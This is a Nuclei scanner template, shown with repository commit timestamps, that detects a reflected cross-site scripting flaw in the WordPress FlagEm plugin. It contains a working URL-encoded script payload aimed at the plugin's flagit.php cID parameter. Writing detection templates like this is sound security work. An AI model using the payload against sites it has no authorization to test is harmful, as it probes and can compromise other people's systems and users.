nuclei-templates/http/vulnerabilities/wordpress/wp-flagem-xss.yaml

52 lines
1.5 KiB
YAML
Raw Normal View History

2021-07-13 11:15:43 +00:00
id: wp-flagem-xss
info:
name: WordPress FlagEm - Cross-Site Scripting
2021-07-13 11:15:43 +00:00
author: daffainfo
severity: high
description: WordPress FlagEm plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/38674
- https://vulners.com/packetstorm/PACKETSTORM:122505
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 2
2023-10-14 11:27:55 +00:00
tags: wordpress,xss,wp-plugin,edb
2021-07-13 11:15:43 +00:00
2024-03-26 17:26:22 +00:00
flow: http(1) && http(2)
http:
2024-03-26 17:26:22 +00:00
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '/wp-content/plugins/FlagEm/'
2021-07-13 11:15:43 +00:00
- method: GET
path:
2021-07-19 06:10:14 +00:00
- '{{BaseURL}}/wp-content/plugins/FlagEm/flagit.php?cID=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-07-13 11:15:43 +00:00
matchers-condition: and
matchers:
- type: word
words:
2021-07-19 06:10:14 +00:00
- "</script><script>alert(document.domain)</script>"
2021-07-13 11:15:43 +00:00
part: body
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a00463044022007e00be2050bf2b32b681b8a6cb68c47fd989501c7fbff5ae00ee685ac34623f022012fb1e901d3515a941020f32ed247a4c03da342c058c926308abb594bf6d9670:922c64590222798bb761d5b6d8e72950